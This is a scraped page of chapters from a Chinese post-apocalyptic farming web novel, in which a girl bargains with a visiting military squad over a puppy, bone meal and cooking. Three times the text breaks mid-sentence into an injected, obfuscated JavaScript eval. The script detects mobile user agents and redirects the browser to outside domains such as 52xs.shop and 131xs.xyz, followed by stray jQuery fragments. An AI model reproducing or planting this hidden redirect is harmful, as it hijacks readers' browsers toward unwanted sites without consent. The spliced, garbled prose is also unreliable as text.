西芹过来低声问她:“可不可以给我哥哥吃一份?我让他去给你捡柴劈柴!”
西芹虽然是个刚满十六岁的小姑娘,但眼里有活儿。
这几天他们的到来让时枌柴房摞到屋顶的柴都矮了一截,储存的碳更是少了许多,碳她不会做,但是捡木头这种活儿她哥哥还是会的。
两个土豆一个鸡蛋换一个成年劳力捡柴,不用想都知道划算。
时枌点头表示可以,然后叮嘱西芹让她哥去池塘边找枯树砍,再去山脚下捡枯枝,农场附近的树都要保留,那是她爷爷奶奶特地种下方便遮挡农场的,另外斧头锯子什么的工具都在工具房,让他自己去挑拣。
早饭有了着落。
蒸土豆不费什么事,再拿个小锅在炉子上煎三个鸡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622817|156201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蛋,也不用再特地烧灶,三人随随便便吃了,时枌就开始琢磨明天秦大厨回来让他做什么菜。
西芹去帮忙喂牲畜,时枌拎着锤子去了后院看骨粉烧得怎么样了。
经过一晚上大坑温度已经降了下来,一具具尸骸交叠,焦黑一片。
时枌戴上口罩穿好雨衣雨靴还有手套,拎着锤子开砸。
其实骨头烧过之后并不脆,砸起来很费力气。
啧,要是有电就好了。
心里这么想着,手里的活儿也没停,还得预防骨头飞溅扎伤自己。
花了一个小时简单锤了一遍,再把大骨头收捡扔到油布上,坑底一层焦黑泥土混杂着骨粉就用铁锹铲起来充当肥料。
时枌在丧尸坑里干的热火朝天。
站在后院哨塔上刚喝完营养液的赵弋靠在栏杆上,望远镜能看见通向阳县灰蒙蒙的的沥青路,而他眼下大坑中的女孩已经呼哧呼哧干了两个小时。
她体力真不错,赵队想着。
从赵队的视角来看,时枌已经成了小指头大小,看不清面容,依旧是那副雨夜屠夫的装扮裹得严严实实头发丝都没露出来,而她所处的那一个大坑,足够放下他开回来的那辆军用卡车,她似乎是有强迫症,一把锤子一把铁锹,从土坑边缘开始一铲一铲挖到油漆桶里,装满一桶就提上去放在坑边。
这个坑还有一处“楼梯”,人为画出来的,倒是方便了上下。
他前天晚上装载回来的大几百丧尸就这么化为焦土,被她一桶一桶提出去,直到铲完最后一片焦土,露出真实的泥土颜色来。
他看着她一脚踩在坑边大石头上,喘着气,这一歇就是两分钟,然后侧头看了眼牲畜栏,才深吸一口气,脱下雨衣,扔到一边,朝某个方向招了招手。
顺着她的目光,赵弋挪动望远镜,看见了西芹,——他们队里的拖油瓶。
两人聊着天。
然后西芹提着桶往前院去。
而时枌站在原地看了看油布上的大骨头,又看看停在大坑旁边的大卡车,忽然,抬头看向他。
两人的视线猝不及防在望远镜中相撞。
赵弋淡定放下望远镜,确认她是在朝自己招手。
半点没有偷窥被人发现的窘迫与不自在。
时枌问他:“能不能借用一下车,帮忙碾碎这些骨头。”
赵弋从口袋里掏出车钥匙,递给她的中途动作忽然一顿。
“嗯?”
“我教你开车,你自己碾,”他说,“作为交换,你给我一只虎斑犬。”
时枌眯起眼,看着面前这个男人。
“阳县所有的丧尸,任务周期内我都帮你拖过来,并且协助按照你的方式处理。”赵弋当然知道这点不够换她的狗,“我们还剩下二十四天。”
“小狗还没满月,就算你任务结束后带走也太小,它不喝营养液。”
“放心,我会给它找食物,不过这期间的喂养还得靠你。”
时枌抿抿唇。
说实话,她也不需要那么多狗,送养一条也能减轻自己的负担,只是那四条狗崽是她看着生下来一点一点长到现在,多多少少有了感情,并不想随随便便就送人。
“你要狗做什么?”
“平时任务多,一条狗能帮我巡视警戒,很方便。”看她的两条狗就知道了,这俩的后代不会差。
长久的沉默。
时枌内心纠结,但看面前这男人似乎也不像虐狗的变态,保护区是座大城市,可是听西芹说城内资源匮乏,尤其是食物,只有很少一部分管理者才能吃上新鲜的蔬菜肉类,普通平民跟士兵都只能喝干巴巴的营养液,那小狗崽跟着他就不会吃上大骨头了。
“从今天开始你负责你自己那只小狗的喂养,”时枌说,“它每天都要喝羊奶,你给它挤,多跟它接触,让它熟悉你,如果没有羊奶你要给它做米糊,等它长大了要多给吃肉啃骨头……”
女孩一条一条认真说着,紧紧盯着他,好似只要他露出一丝不耐烦就会收回这场交易。
“你要对它好。”她最后总结道。
“嗯。”
平时自己都只靠营养液维持生命体征的赵弋点了头。
时枌也并没有当场确认,“如果等你们任务结束它很喜欢你的话,你可以把它带走。”
赵弋挑眉。
意思是喂二十多天狗还不够,还得看狗崽子喜不喜欢他?
喜欢这种抽象的东西……
“行。”赵队也一起应下了。
时枌终于松了口气。
“那去挑狗崽吧。”
9. 第 9 章
反正都要去狗窝,时枌顺便让他帮忙拎两桶骨粉去前院,前院西芹已经把她育好的辣椒苗挖到昨天清理出来的一片土地,剩余几桶骨粉由西芹帮忙搬。
狗窝里四个小崽子睡得香甜。
老大虎头虎脑,完美遗传了虎子优良基因,一身虎皮跟他爹差不了多少,体型是四个狗崽子中最大的一个,掰开嘴舌头上还有黑色斑块。
老二花纹跟老大不太一样,底色偏黑,四只腿格外壮实,只是性格比较敏感,一有人接近就嗷呜嗷呜开始乱叫,小脑袋往狗窝里钻,手也扒拉着,似乎是在找妈妈。
一边跟过来的大熊对此视若无睹。
其实大熊也就是刚生产完那段时间比较有母爱,喂奶喂虚脱被时枌发现改换羊奶后就很烦狗崽子了,现在有了时枌管它们,大熊都不带回窝的。
老三通身漆黑,舌头也是黑的,遗传的是它妈妈大熊,只是大熊也是舌头带黑斑,老三舌头全黑,可能以后比妈妈大熊更厉害。
至于老四,也是时枌花了最多心思带大的老幺,它底色偏黄,带虎斑,斑纹比较稀疏,但颜色上更像老虎,经过时枌一段时间的重点照顾也胖了起来,看上去性格比较沉稳,老二这么吵它还是趴着继续睡,其它狗崽都不耐烦开始扒拉老二它也只是歪歪脑袋,换了个更舒服的姿势呼呼大睡。
时枌把四只狗崽都抱起来给它看,掰开嘴,拎尾巴,拎小腿,一一检视,只是老四给他看的时间最短,格外潦草就放下回归原位。
她有私心,不想他选中老四。
但偏偏,赵弋将每个狗崽都顺毛摸了一遍,最后拎起了老四。
老二咋咋唬唬他看不中很正常,老三是全黑不是虎斑他看不中也很正常,就剩老大跟老四。
老大辣么壮,为什么不选老大?
时枌莫名有点气闷,看着老四趴在他手掌上,小脑袋安顺的蹭着他的手指,摊成了一坨狗饼,依旧呼呼大睡。
赵弋这双手有着明显的枪茧,粗糙且骨节分明,他骨架大,手掌更是大,时枌一只手托不住的狗崽在他手里就小了一圈,好不容易养胖的老四都显得迷你起来。
“就这只。”语气笃定。
一锤定音。
时枌更气了。
“为什么不要这个,这个是老大,身体最好。”时枌指着老大问。
老大正不耐烦地扒拉老二,试图给老二脚动闭嘴。
“任务多在野外地区,它性格更沉稳,更好训。”
理由很充分。
时枌也没办法反驳。
算了。
反正最后老四也不一定会选他。
只是时枌心里有种预感,他要定了老四,最后肯定会带走它。
这点情绪暂且不管,她再摸摸小狗,就去前院翻地。
学车教程被安排到了午饭之后。
因为他们都有营养液,时枌默认他们都不需要吃午饭,所以自己的午饭打算就蒸两个红薯再继续烤两条鱼完事,问了西芹,得知她手上并没有他们那么多营养液。
看来保护区对军人还有普通民众待遇是不一样的,像西芹这样的每天只分配一支营养液,只能说不会饿死吧。
可怜见的,时枌把烤鱼任务交给她,两人一起吃午饭。
时枌在清理出来的土地上撒上骨粉,然后用铁锹一点一点翻地方便种辣椒苗。
翻地能把骨粉混合到泥土里,同时也能让土壤更松软。
时枌去年偷懒,冬天只杀了一头猪,一整个冬天都靠着那么点腊肉腊鱼还有囤起来的土豆红薯大白菜过日子,结果没想到她高估了自己的耐心,最后大雪纷飞跑去山上狩猎,好歹逮了点东西回来打牙祭,不然得给她饿死。
经历了去年冬天挨饿的滋味,时枌今年打算多储存一些容易保存的食物,等明天秦大厨回来了再找他问问有没有什么能提前做好容易保存的东西,她可以记下来制作方法,现在开始种,秋天收获了就可以开始做准备。
她倒是会腌菜,也会腌咸鸭蛋,反正鸭蛋她都收集起来了,想着有空就去腌。
种辣椒也是觉得辣椒可以晒干保存,做成辣酱保存,还能腌辣椒,冬天一直吃那些食物都给人吃麻了,如果今年腌腊肉多加点辣……秦大厨肯定有配方,得提前要到。
这些辣椒苗是时枌提前育好的苗,她有自己的种子库,农场里每一种作物她都有保存种子,种子保存时间也就一两年,所以她尽量每年都种一种,更新种子库。
这一堆辣椒苗里面有青红椒,杭椒,小米辣……等等,都是爷爷奶奶以前收集的,她延续到现在。
她懒得弄标签,现在也看不出来谁是谁,只能简单靠植株来分辨,尽量把相似的种在一起,等结了辣椒再做标签。
把这一整片地种完,时枌肚子早就咕咕叫起来了。
西芹提前去帮忙蒸红薯烤鱼,米饭也蒸了一些。
时枌有自己的稻田,不在农场附近,得走一段路才能到,只是现在没有脱壳的机器,她用的是老式的土砻,脱壳并不干净,外表会有一层淡黄色,只能算是糙米。
时枌也就小时候还有电吃过几年白米,后来没了电,机器也不能用,爷爷奶奶才只能用土砻来给稻谷脱壳。
糙米就糙米吧,这年头有饭吃都不错了。
秦丰钓的那么多鱼到今天已经被吃了一半,其中有一小桶小白条,不适合烤,时枌就想着用土窑烤成小鱼干给大熊跟虎子做零食吃。
都要用土窑了,干脆下地笼多捞点小白条,一次性多做一些小鱼干。
时枌进屋先换了鞋,再去洗手洗脸。
她这一上午没少干活,热得脸红扑扑的,清凉的水洗过后舒服不少。
西芹学东西很快,烤鱼已经烤的有模有样了,她哥在旁边帮忙,她就去厨房把蒸好的红薯都端出来。
时枌去厨房准备狗饭,没多久就弄好了。
虎子跟大熊的午饭是鸡蛋汤泡糙米饭,加他们吃剩的鱼头跟红薯。
三人坐在餐桌旁开吃。
至于孙金也不知道去了哪,赵弋是默认不跟他们一起吃的。
时枌好像从没见过他吃正常的食物。
估计平时也就喝营养液吧。
时枌专注自己,红薯剥皮放到碗里,自己两条鱼先把鱼头鱼尾拆下来放到虎子大熊的饭盆里,再专心吃肉。
“谢谢你照顾我妹妹。”对面西池忽然开口
“哦。”时枌应了一声算是回复。
这个年轻男人似乎也不善言辞,被她一个“哦”憋的脸都红了,转而默默扒饭,不再言语。
时枌快速吃完,“你帮我跟你们赵队说一声,我去池塘下地笼,回来再学车,你下午就帮忙牵水管给前院辣椒苗浇水,行么?”
“好的!”西芹应下。
时枌顺手把自己的筷子碗洗了,然后去工具房取地笼。
只是去一趟下好地笼晚上再起就行,时枌动作很快,这次是虎子跟着她蹦跶到池塘,又蹦哒回来,时枌直奔后院学车,就听见熟悉的轰隆声,两辆皮卡,皮卡后用军绿的布盖着什么东西,还没停车就看见秦丰从车窗伸出胳膊跟时枌打招呼。
一阵尘烟四起。
两辆皮卡停下,秦丰跟叶枝蔚完好无损回来。
看来他们也提前完成任务了。
时枌自然是高兴的。
“你们回来啦,一会儿练完车我打算开土窑烤东西,秦三你有什么要烤的吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622818|156201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时枌主动开口问。
其实是她想吃烤鸡了。
“土窑?能烤面包吧?正好我做了酵母,你帮我喂了吗?”
时枌点头,“按你说的早上喂过了。”
“那行,”秦丰说着撸起袖子嘿嘿一笑,“那正好烤几条鱼,烤红薯,烤辣椒……”
“我想烤两只鸡。”
“这么大方!”
“嗯嗯。”时枌光是想想就要流口水了。
“那行,我去杀鸡。”秦丰答应的很爽快,“哦对了,你这个大坑……”
秦大厨一扭头,就看见了油布上铺着的骨头,再看看残留些许焦黑的大坑,露出疑惑的表情。
这触及到他的知识盲区了。
“哦,我在做骨粉,施肥。”
时枌这才想到旁边还有个赵队。
“赵队,咱们练车吧?”
秦丰看向自家队长。
啥玩意,练车?
然后秦副队就看着自家队长上了卡车副驾,时枌爬上了驾驶座。
和谐氛围当中,时枌很快就学会了开车,然后卡车缓缓后移,车轮碾过塑料布下的骨头。
为了防止骨头刺破轮胎,时枌铺了一层油布一层塑料一层干草。
来回碾压几次,她再停好车下来观察,抖了抖油布上的骨头,继续上车往前开,再倒车往后碾。
这技术,比西池好多了。
而他俩和谐练车的同时,叶枝蔚把孙金跟西池都叫了过来,搬东西。
掀开绿布才发现,他们开回来的两辆皮卡后边装满了枪/支子弹。
瞥到他们车上的东西,时枌立刻从卡车车窗探出头,大声问:“有霰/弹吗?有多少?我拿两只鸡来换行不行?”
秦丰嘿嘿一笑,朝她摆手,“没问题,你练完车带我去挑鸡。”
原本时枌是想着杀两只鸡,自己吃一只,另一只算是送给秦大厨,所以算下来今天得杀四只,想想还有点肉疼。
但是子弹这种东西纯靠运气,一般的子弹也就算了,霰弹可难收集了,现在有当然要早早换。
而且看他们的装备用步枪较多,霰/弹对他们来说没什么用,倒是对她这种隔三差五上山狩猎、习惯用霰/弹枪的人来说更有价值。
听见秦丰答应了,时枌面上带笑,继续练车,余光瞥到副驾驶的男人,忽然想起他是小队队长,于是挂上一个讨好的假笑:“你们要是觉得烤鸡太腻,煮个鸡汤也不错,还能给小狗崽加餐。”
赵弋目视前方,“练完了?”
“差不多吧。”
“下次让秦丰带你去练小车。”说完他就拉开车门下车了。
其实练车的时候赵队话也不多,只是教她挂挡、方向盘、倒车。
总体来说练车还是很简单的。
毕竟这年头开车又不需要驾照。
时枌自觉得自己进步神速,收获满满,将车熄火,拿着钥匙跳下车,而这时候秦丰一行人已经分配好了武器。
时枌也没问他们这些武器哪来的,毕竟是人家的任务,她这么打探消息有些冒昧。
秦丰分完自己的,把霰/弹给了时枌一大半,又帮着时枌把骨粉装进袋子里,才叫上时枌去抓鸡。
鸡栏里的鸡确实有点多了,还挺吵,尤其是那几只公鸡,真叫起来让人脑瓜子嗡嗡的,时枌挑了个最吵、脖子最高昂的公鸡,秦丰一手抄网,时枌指哪打哪,叶枝蔚站在时枌右手边,也是一手抄网,时枌一指,又是一只花母鸡,又另外抓了一只白花母鸡、一只灰花母鸡,拎着翅膀通通交给秦大厨。
秦丰两手四只鸡,黝黑的脸上笑得大白牙迎光闪烁,大大咧咧往厨房走,扯着嗓子叫了一声:“西芹!烧水!”
10. 第 10 章
不出半小时,还在扑腾的四只鸡就被拔了毛,光溜溜躺在盆子里,大熊跟虎子闻风而来,站在盆边直流口水。
四只鸡,三只烤,一只炖汤。
时枌去帮忙烧土窑。
土窑就在前院桃树旁边,因为平时用的少都是拿塑料布盖起来,看上去灰蒙蒙的,提前清理了下才开始烧柴。
烧柴的时候时枌就拿着本子跟着秦大厨学习。
秦丰把四只鸡都抹了脖子,保留好了鸡血,能用的内脏也都淘洗干净放在一边备用,打算再用这些鸡杂煮个糯米粥,鸡血也是,凝固后可以一起煮粥。
三只母鸡掏出两个蛋来,也跟着鸡杂放在一起,不能吃的内脏就丢给了虎子大熊。
“没有锡纸,你要烤鸡的话鸡爪翅尖还有鸡头可能不太好吃,容易烤焦,我提前剁下来凉拌了吧?做个酸辣口味的,你这种香菜了吗?”
听见香菜两个字时枌露出嫌弃的表情,秀气的眉毛都皱起来,“没有香菜。”
她的农场,决不允许香菜出现。
“哎,那可惜了,那还有菌菇吗?可以一起煮粥或者炖汤,老鲜美了。”
“我去泡!”
她每次上山都会采摘一些菌菇,吃不完的就晒干保存,存了不少。
秦大厨动作利落,叶枝蔚打下手收拾鸡毛,然后秦丰就带着鸡杂跟四只光溜溜的鸡进了厨房。
离晚饭还有点时间,他得提前腌好鸡,炖汤的那只也要提前剁成块,时枌在旁边拿小本本记下要点。
以前奶奶最会炖鸡汤,可惜她也没学会,自己炖总没有那个味道。
“先在炉子上炖,等晚饭我炒两个菜再放到灶里煨一两个小时,那才叫香,你这有砂锅的吧?”
“有!”
时枌立马从底下掏出一口黑漆漆的大砂锅,这是奶奶之前用的,她也是用这口锅来炖汤。
“行,这玩意可少见。”秦大厨很满意。
一伙人在厨房忙的热火朝天。
鸡放到一边腌,秦丰就把酵母拿出来看了看,上层已经有细小的气孔,勉强能用吧。
“咱今天简单烤个面包。”
条件有限,今天又不方便包包子,主要是馅料没准备,所以还是简单烤个面包完事。
秦丰烤面包的手法十分粗糙,面粉抓几把,加糖、猪油、鸡蛋以及临时挤的羊奶,乱七八糟混合好。
“配比不重要,你看这个面团拉出来能成膜就行,发酵就只看状态……”
叶枝蔚看他们一个教一个学场面火热,凑过来听了一耳朵,头晕脑胀的很快就离开了,还不如去跟西芹商量做张新床。
几乎整个下午时枌都在厨房学习。
学习烤面包、烤鸡、炖鸡汤、煮鸡汤糯米粥。
好几页纸的笔记,密密麻麻。
下厨是个精细活儿,心里要记下各个食材的状态,比如鸡腌好了没,面团发酵状态如何,鸡汤要保持小火慢炖,还得清洗泡发的菌菇……
临到黄昏,第一锅面包才出炉。
那股直冲天灵盖的面包香味瞬间就俘虏了时枌的味觉及嗅觉。
叶枝蔚跟西芹今天下午在做床,他们加上西池三人合伙床已经做了一半,闻到味道也凑过来,不怕烫手先撕下一块放进嘴里。
时枌早就分到了一整块,正放在手心呼呼吹气让它快速降温。
差不多了才撕下一口。
满口的奶香。
说不出的满足。
大厨本人秦丰对自己做的食物没多大兴趣,倒是撕了一大块给叶枝蔚让她尝尝,还非得让人说出个好歹来,听到叶枝蔚说好吃才罢休,哼着歌把第二锅面包放进土窑继续烤,然后才去厨房做饭。
秦丰下午腌了鱼块,晚饭大家一起吃煎鱼块、炒土豆丝,再加蒸米饭跟红薯,烤鸡还得等面包全部烤完才能放进土窑。
今晚的安排很满。
等她们几个把第一锅面包吃的差不多,又拿出第二锅面包,土窑再次烧柴加热,放入三只烤鸡后,秦丰的菜也端上了桌,鸡杂糯米粥已经好了,鸡汤还在灶里煨着。
时枌给虎子跟大熊喂了小块面包才上桌吃饭。
看了圈才发现,今天竟然难得全部到齐。
孙金坐在角落也不怎么吱声,时枌不太明白他们之间发生了什么,好像孙金没有刚来时那么嚣张了,此前他对西芹的觊觎几乎是写在明面上,如今倒是收敛了许多。
秦丰傻笑着给他家队长盛了满满一大碗鸡杂糯米粥,意料之外之前不吃食物的赵弋拿起筷子很给面子配合地一起吃饭。
时枌看看这桌上,觉得十分稀奇。
“咳咳,”秦丰清了清嗓子,“那啥,赵队要不咱们顺便开个会吧?”
“哦。”
他赵队很冷漠的回复。
“那咱们任务到此结束,从今天到任务最后一天,咱们各管各的,随便撒欢儿啦?”
“随便。”
他赵队依旧很冷漠。
“哦耶!”秦丰乐呵呵地给叶枝蔚夹了块鱼肚子的肉。
“那答应给时枌的那些丧尸……”叶枝蔚忽然想起来。
“我会处理。”
这意思是给他就行了。
昨晚他发给秦丰消息让他把阳县那边布置完后任务就算结束了,清理丧尸也是他顺便的事。
他们跟打哑谜似的,时枌看看这个看看那个,拆着鱼块,更觉稀奇。
他们任务周期不是有一个月么?这才几天就结束了?
是效率高还是单纯偷工减料啊?
时枌不太明白。
但秦丰今天这鱼块做的真不错,用的是一条大鱼,去鳞剁成小块,鱼头鱼尾给了虎子大熊,其余的腌好晾干,现在还有一部分挂在厨房里。
倒是忘记找他要腌鱼的配方了。
任务结束秦大厨整个人都放松下来,跟喝了酒似的大大咧咧开唠。
“还是跟着赵队干活轻松啊,忙碌两三天,休息一个月,嘿嘿,时枌,天天吃鱼也吃腻了,要不咱们明天去山上采点新鲜菌子回来做菌汤火锅?顺便弄点猎物,哦对,这个季节山上有笋子的吧?”
“有的。”时枌都吃腻春笋了,实在是懒得去挖。
“那行,咱们多弄点,回来晒成笋干,以后你也能吃。”
“皮卡开过去,顺便弄点竹子回来,我做个竹床。”叶枝蔚说道。
“竹床好啊,咱们也不用天天睡地板了。”秦丰说。
桌上人吃剩的骨头都留给了虎子跟大熊。
中途烤鸡烤好,秦丰去端过来,瞬间整个屋子都是香味,三只鸡一只给时枌,剩下两只他们六个人分。
他们怎么分就不是时枌考虑的事情了。
她这一只表面还刷了一层蜂蜜水,吃起来焦甜,很合时枌的口味。
一整只鸡她吃得完,他们那边刚分完鸡腿,她就已经吃了一只腿把骨头扔给了大熊。
鸡胸那部分的肉怎么都不太好吃,时枌先吃完鸡翅跟鸡腿,肚子差不多饱了,再撕焦香的鸡皮,剩余干巴的鸡胸肉则是撕成小条分给了虎子跟大熊。
它俩从吃饭开始就一直在她身边摇尾巴,再就是去叶枝蔚身边等待吐出的鸡爪骨头,估计今晚也吃得饱饱的。
吃饱喝足,秦丰都撑了,靠在椅子上开始絮叨他跟叶枝蔚去阳县的惊悚经历。
“……你们是不知道,叶枝蔚跟我一说,那人眼睛就突然睁开盯着我看,给我吓得,还好老赵给我发了消息,”秦丰说,“不过阳县还真的有点邪门啊,一般的尸潮都是成千上万的丧尸一起往前蛄蛹,我看阳县撑死了两千。”
他们起初看见丧尸成群结队往东方走,还以为前方是很大的队伍,直到秦丰自己去了阳县,估摸着阳县被赵队清理后的丧尸数量才
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14622819|156201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发觉不对劲。
“尸潮是什么?”时枌叼着鸡翅磨牙,一双大眼睛写满了求知欲。
“就是一大群丧尸推搡着往前走……”秦丰抓抓脑袋,看时枌还是一知半解的,就用胳膊肘怼了怼自己旁边的赵弋,“你见得多,要不解释一下?”
“长期饥饿导致原本漫无目的游荡的丧尸被迫聚集,也有可能跟他们大脑中病毒感染后产生的某种信息素相关。”
信息素?
时枌勉勉强强明白了一点。
也就是说,现在丧尸吃不饱,找不到猎物,就因为这个信息素开始聚集,然后就是越来越多,越来越多,直到达到一个庞大的数量,足够冲垮他们途中遇到的所有障碍。
如果这个障碍是某个人类聚集地?
就像阳县,也会被冲垮?
“我在保护区看过资料,尸潮也有可能跟自然灾害有关,比如它们感受到强烈的地震或者雪崩……就会逃离,逃离的途中会不断吸引周围游荡的丧尸,进而形成尸潮。”一边的西池接着说道。
“哦对对,我记起来了,好像之前上课讲过来着,”秦丰说,“不过千人的小尸潮很少见啊,而且阳县那个状态也挺诡异的,好像沦陷就在我们到达前不久,很难说是因为尸潮还是人为。”
“我看过阳县的城墙跟铁丝网,有几处不像是丧尸能做到的。”
铁丝网有几块区域切口整齐,丧尸根本做不到,只有拿着工具的人类才能造成那么齐整的切口。
“时枌你可要多注意啊,如果阳县沦陷是人为制造的,他们迟早会回来收割,说不定现在就已经在路上了,你这里离阳县太近,只要他们稍稍绕一点路,很容易发现你的农场。”秦丰看向时枌,语气中也多了几分担忧,“他们肯定不是一个人,你这里就你一个人,就算有足够的子弹也顾不过来。”
更何况时枌农场中的这些资源,谁看了不眼馋?
“嗯,我有准备。”时枌把骨头丢给虎子,一口喝干净碗里的粥。
“我去喂一下小狗。”
她在厨房留了小碗鸡汤煮了粥,还加了两个鸡蛋打成蛋花,这会儿应该已经放凉了,正好拿出去给小狗崽们喝。
只是她前脚刚进厨房,身后就多了一道高大的身影。
赵弋端着自己剩下的半碗鸡杂粥。
仔细看还能发现他这碗鸡杂粥里还有丝丝鸡肉。
是他吃饭的时候单独留下来的肉。
“麻烦给一个单独的碗,”他说,“我去喂我的狗。”
“……”
我的狗三个字狠狠刺痛了时枌这位老母亲敏感的神经。
时枌给了他一个小的不锈钢碗。
但他却没走,“今天教你车,能不能换蛋汤?”
时枌愤愤倒了小半碗蛋汤给他。
两人目的地相同,被迫走同一条路,时枌端着自己那一大碗鸡汤粥,赵弋端着一小碗,到了狗窝他就把老四挑出来放到一边,再给老四喂饭。
时枌把大盆往那一放,小狗崽们就自动围上来开吃。
看着被单独带到一边的老四,时枌心里很不是滋味。
有种自己儿子被人贩子从自己眼皮子底下拐走的感觉。
两人就这么安静蹲着等待狗崽们吃饭,一时间无言,周围都是鸡鸭聒噪的动静,倒是不显得尴尬。
直到赵弋忽然开口。
“明天我跟你们一起上山。”
“你也要去挖笋?”
“给我的狗加点餐。”
“……”
他是在给她脱敏吧?
一定是的。
不然怎么会一再强调“我的狗”这三个字。
时枌想想阳县的丧尸,深吸一口气,压下心里那点不讲道理的不甘愿,心平气和地看着老大老二老三吃饭。
算了,他还知道给老四加餐,应该会是个好主人。
11. 第 11 章
喂完狗崽,时枌找叶枝蔚借了个手电筒,打算去池塘起地笼。
叶枝蔚直接把小手电筒往她手里一塞:“不用还了,我有备用的。”
时枌惊讶:“那你回去怎么交差?”
叶枝蔚:“出任务哪有不丢东西的。”
时枌朝她竖起大拇指。
得知她要去池塘,叶枝蔚晚上也吃撑了,要跟她一起去,时枌又叫上虎子跟着她,两人一狗才一起出发。
路上叶枝蔚跟她详细讲解了这个小手电的用处。
“这个近战很方便,对着眼睛,晃他,然后死劲踹裆,就可以了。”
真是简单直接的教学呢。
时枌平时也就往山上跑的多,身体素质比普通人强一点,枪法比普通人准一点,实战经验全是狩猎来的,真正跟人对抗还是少数。
“等我找个机会练一练。”时枌边听边点头。
农场附近丧尸都不多见,更何况人类,这个机会确实很难找。
两人拎着两个水桶到池塘边,时枌把几个地笼起了,收获颇丰,时枌差点没拽起来。地笼里还有几条泥鳅,小虾也不少,正好小虾米晒干还能保存,平时做饭也能用,时枌一股脑就都倒进了水桶,然后把地笼上的淤泥在水里抖两下洗洗,这才完工。
“等过几个月这边池塘还有山脚下小龙虾多起来就能吃油焖大虾了。”时枌说。
光是念个菜名时枌就忍不住流口水。
“我都好久没吃过虾了。”叶枝蔚也感慨,她不像秦丰看见食物跟看见亲娘似的,习惯长期依靠营养液,她甚至会觉得正常的食物效率过低耽误事儿,不过吃了秦大厨的几顿正常饭,叶枝蔚的观念也有所松动,“对了,我之前跟西芹聊起来,你的名字,是念fēn吗?第一声?”
时枌笑了笑,“第二声,不过一般人都不认识,随便叫时分也没关系。”
“时枌?”叶枝蔚按照正常读音拼读一下,“挺拗口的啊,我还是叫时分吧。”
“可以的。”时枌对此并不在意。
起初农场里有一棵年纪很大的白榆树,时枌出生的时候正好是春分,赶上白榆树的花期。高大的白榆树展出鲜嫩的新叶,枝条上挂满了白绿的花儿,堆堆挤挤成一簇簇小花团。
爷爷翻遍了字典,终于找到一个比“榆”好听又不常见的“枌”,并喜滋滋地觉得这个字足够独特,又有诗经的典故,跟他的宝贝孙女一样,正好配上小孙女“星星”的小名。
直到丧尸病毒爆发后,一场干旱,农场里那棵二十多米高不知年岁的白榆树枯死,奶奶深觉晦气,从那以后干脆直接去掉偏旁只念“分”了。
今天太晚了,没办法再烧土窑烘小鱼干,时枌把小白条都挑出来放到水桶里,这个点她已经开始疯狂打哈欠,把鱼虾分干净才上楼睡觉去。
还好她的几个新租客都挺安静,这几晚时枌除了第一天的不自在后来都挺正常,尤其是今天秦丰跟叶枝蔚回来了,她倍觉安心。
一觉睡到自然醒,第二天天光大亮,时枌收拾完下楼,秦大厨从厨房探出脑袋问她吃不吃面包,——昨晚实在没吃完剩下的。
时枌说吃。
“那正好我煎一下,煎鸡蛋么?”
“来一个。”
“好嘞。”
秦大厨又去忙活了。
时枌去烧土窑,然后回厨房杀鱼去鱼鳞。
虎子跟大熊平时喜欢吃肉啃骨头,但对鱼肉并不感冒,带鱼鳞的尤其不喜欢,时枌每次杀鱼都得把鱼尾巴上的鱼鳞都清理干净,之前晒小鱼干它们也不咋爱吃,反而都便宜了闻风而来的野猫,后来经过时枌的多次实验才发现这俩能吃炸的小鱼,而且贼喜欢那种咬在嘴里脆脆的感觉,大熊平时狼吞虎咽,但是碰到那种炸小鱼能放在嘴里嚼巴半天。
再后来时枌闲着没事用土窑烤小鱼干,发现它们也能接受。
家里余油不多,以往还富余的时候时枌倒是不介意奢侈一把给它们炸小鱼干吃,但现在阳县没了,意味着她的“菜籽油供应商”也没了,以后只能靠猪油。
阳县有一户人家专门榨菜籽油,时枌每年都种油菜花,收了菜籽就去榨油,今年自然也种了。
鱼杀着杀着,时枌就开始叹气。
秦丰给她做完早餐就来帮忙,看她一个小姑娘丧丧的直叹气,忍不住问了句为啥。
时枌就说了下自己那好几亩地的油菜花。
秦丰这两天可没少用她的菜籽油,听她这么一说才知道家里存油不多,瞬间拉响警报。
“你说这个榨油的机器,丧尸应该不会吃吧?”时枌忧愁地问。
秦丰心想:丧尸肯定是不会吃的,就怕因为尸潮……
“那啥,时枌啊,我是说如果,如果这个榨油的机器吃了丧尸……”
时枌一听就皱起眉头眯起眼睛,像只嫌弃主人蠢笨的猫咪。
“算了,咱们就不能自己榨吗?”
